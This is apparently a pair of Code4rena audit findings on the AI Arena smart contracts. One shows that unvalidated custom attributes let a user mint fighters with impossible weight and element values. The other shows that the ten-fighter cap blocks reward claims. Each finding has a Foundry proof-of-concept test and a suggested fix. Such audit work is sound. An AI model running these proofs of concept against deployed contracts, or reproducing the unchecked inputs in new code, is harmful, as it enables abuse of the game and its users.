https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L329 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L502-L505 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/MergingPool.sol#L158

Vulnerability details

Impact

It is possible to set invalid weight or element.

Proof of Concept

The weight should be a value between 65 and 95, and the element should be a number within the numElements setting. Initially, the element can be a value between 0 and 2.

mintFromMergingPool allows the user to freely set the weight and element by receiving custom attributes as a parameter. And it does not validate the customAttributes parameter.

function mintFromMergingPool(
    address to, 
    string calldata modelHash, 
    string calldata modelType, 
    uint256[2] calldata customAttributes
) 
    public 
{
    require(msg.sender == _mergingPoolAddress);
    _createNewFighter(
        to, 
        uint256(keccak256(abi.encode(msg.sender, fighters.length))), 
        modelHash, 
        modelType,
        0,
        0,
@>      customAttributes
    );
}

function _createNewFighter(
    address to, 
    uint256 dna, 
    string memory modelHash,
    string memory modelType, 
    uint8 fighterType,
    uint8 iconsType,
    uint256[2] memory customAttributes
) 
    private 
{  
    require(balanceOf(to) < MAX_FIGHTERS_ALLOWED);
    uint256 element; 
    uint256 weight;
    uint256 newDna;
    if (customAttributes[0] == 100) {
        (element, weight, newDna) = _createFighterBase(dna, fighterType);
    }
    else {
@>      element = customAttributes[0];
@>      weight = customAttributes[1];
@>      newDna = dna;
    }
    ...
}

Therefore, the user can set a weight or element that would originally be impossible. Invalid data can be set to cause a failure in the game.

This is PoC. Add to MergingPool.t.sol and test.

function testPoCInvalidCustomAttributes() public {
    address user = address(0x1337);
    
    _mintFromMergingPool(user);
    _mintFromMergingPool(_ownerAddress);
    assertEq(_fighterFarmContract.ownerOf(0), user);
    assertEq(_fighterFarmContract.ownerOf(1), _ownerAddress);
    assertEq(_fighterFarmContract.balanceOf(user), 1); // user has 1 NFT

    uint256[] memory _winners = new uint256[](2);
    _winners[0] = 0; // pick user as winner
    _winners[1] = 1; 

    _mergingPoolContract.pickWinner(_winners);

    string[] memory _modelURIs = new string[](1);
    string[] memory _modelTypes = new string[](1);
    uint256[2][] memory _customAttributes = new uint256[2][](1);

    _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
    _modelTypes[0] = "original";
    _customAttributes[0][0] = uint256(99); // invalid element
    _customAttributes[0][1] = uint256(99); // invalid weight

    vm.prank(user);
    _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);

    assertEq(_fighterFarmContract.ownerOf(2), user);
    (,,uint256 weight,uint256 element,,,) = _fighterFarmContract.getAllFighterInfo(2);
    assertEq(weight, 99);
    assertEq(element, 99);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Check that customAttributes is normal value.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L495 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/MergingPool.sol#L149-L154

Vulnerability details

Impact

A user with more than 10 unclaimed rewards cannot claim rewards forever.

Proof of Concept

In claimRewards, it starts to claim from the past rewards, so it can claim multiple reward NFT at once. It is impossible to request the rewards up to a certain round, and users have to request all the rewards up to the most recent round at once.

function claimRewards(
    string[] calldata modelURIs, 
    string[] calldata modelTypes,
    uint256[2][] calldata customAttributes
) 
    external 
{
    uint256 winnersLength;
    uint32 claimIndex = 0;
    uint32 lowerBound = numRoundsClaimed[msg.sender];
@>  for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
        numRoundsClaimed[msg.sender] += 1;
        winnersLength = winnerAddresses[currentRound].length;
        for (uint32 j = 0; j < winnersLength; j++) {
            if (msg.sender == winnerAddresses[currentRound][j]) {
@>              _fighterFarmInstance.mintFromMergingPool(
                    msg.sender,
                    modelURIs[claimIndex],
                    modelTypes[claimIndex],
                    customAttributes[claimIndex]
                );
                claimIndex += 1;
            }
        }
    }
    if (claimIndex > 0) {
        emit Claimed(msg.sender, claimIndex);
    }
}

However, one account can have maximum of 10 Fighters. If this account has more than 10 unclaimed rewards, this user can never claim rewards because the transaction would be reverted.

function mintFromMergingPool(
    address to, 
    string calldata modelHash, 
    string calldata modelType, 
    uint256[2] calldata customAttributes
) 
    public 
{
    require(msg.sender == _mergingPoolAddress);
@>  _createNewFighter(
        to, 
        uint256(keccak256(abi.encode(msg.sender, fighters.length))), 
        modelHash, 
        modelType,
        0,
        0,
        customAttributes
    );
}

uint8 public constant MAX_FIGHTERS_ALLOWED = 10;
function _createNewFighter(
    address to, 
    uint256 dna, 
    string memory modelHash,
    string memory modelType, 
    uint8 fighterType,
    uint8 iconsType,
    uint256[2] memory customAttributes
) 
    private 
{  
@>  require(balanceOf(to) < MAX_FIGHTERS_ALLOWED);
    ...
}

This is PoC. Add it to the MergingPool.t.sol file and test it.

function testPoCCannotClaimRewardsBecauseOfUpperLimit() public {
    address user = address(0x1337);
    
    _mintFromMergingPool(user);
    _mintFromMergingPool(_ownerAddress);
    assertEq(_fighterFarmContract.ownerOf(0), user);
    assertEq(_fighterFarmContract.ownerOf(1), _ownerAddress);
    assertEq(_fighterFarmContract.balanceOf(user), 1); // user has 1 NFT

    uint256[] memory _winners = new uint256[](2);
    _winners[0] = 0;
    _winners[1] = 1; // pick user as winner

    // winners of roundId 0~9 are picked
    for(uint256 i = 0; i < 10; i ++){
        _mergingPoolContract.pickWinner(_winners);
    }

    string[] memory _modelURIs = new string[](10);
    string[] memory _modelTypes = new string[](10);
    uint256[2][] memory _customAttributes = new uint256[2][](10);

    for(uint256 i = 0; i < 10; i ++){
        _modelURIs[i] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelTypes[i] = "original";
        _customAttributes[i][0] = uint256(1);
        _customAttributes[i][1] = uint256(80);
    }

    vm.expectRevert();
    vm.prank(user);
    _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
   
}

Tools Used

Manual Review

Recommended Mitigation Steps

Allow users to specify a range of rounds to claim.

function claimRewards(
    string[] calldata modelURIs, 
    string[] calldata modelTypes,
    uint256[2][] calldata customAttributes,
+   uint256 endRound
) 
    external 
{
+   require(endRound <= roundId && numRoundsClaimed[msg.sender] < endRound);
    uint256 winnersLength;
    uint32 claimIndex = 0;
    uint32 lowerBound = numRoundsClaimed[msg.sender];
-   for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
+   for (uint32 currentRound = lowerBound; currentRound < endRound; currentRound++) {
        numRoundsClaimed[msg.sender] += 1;
        ...
    }
    ...
}

Assessed type

Other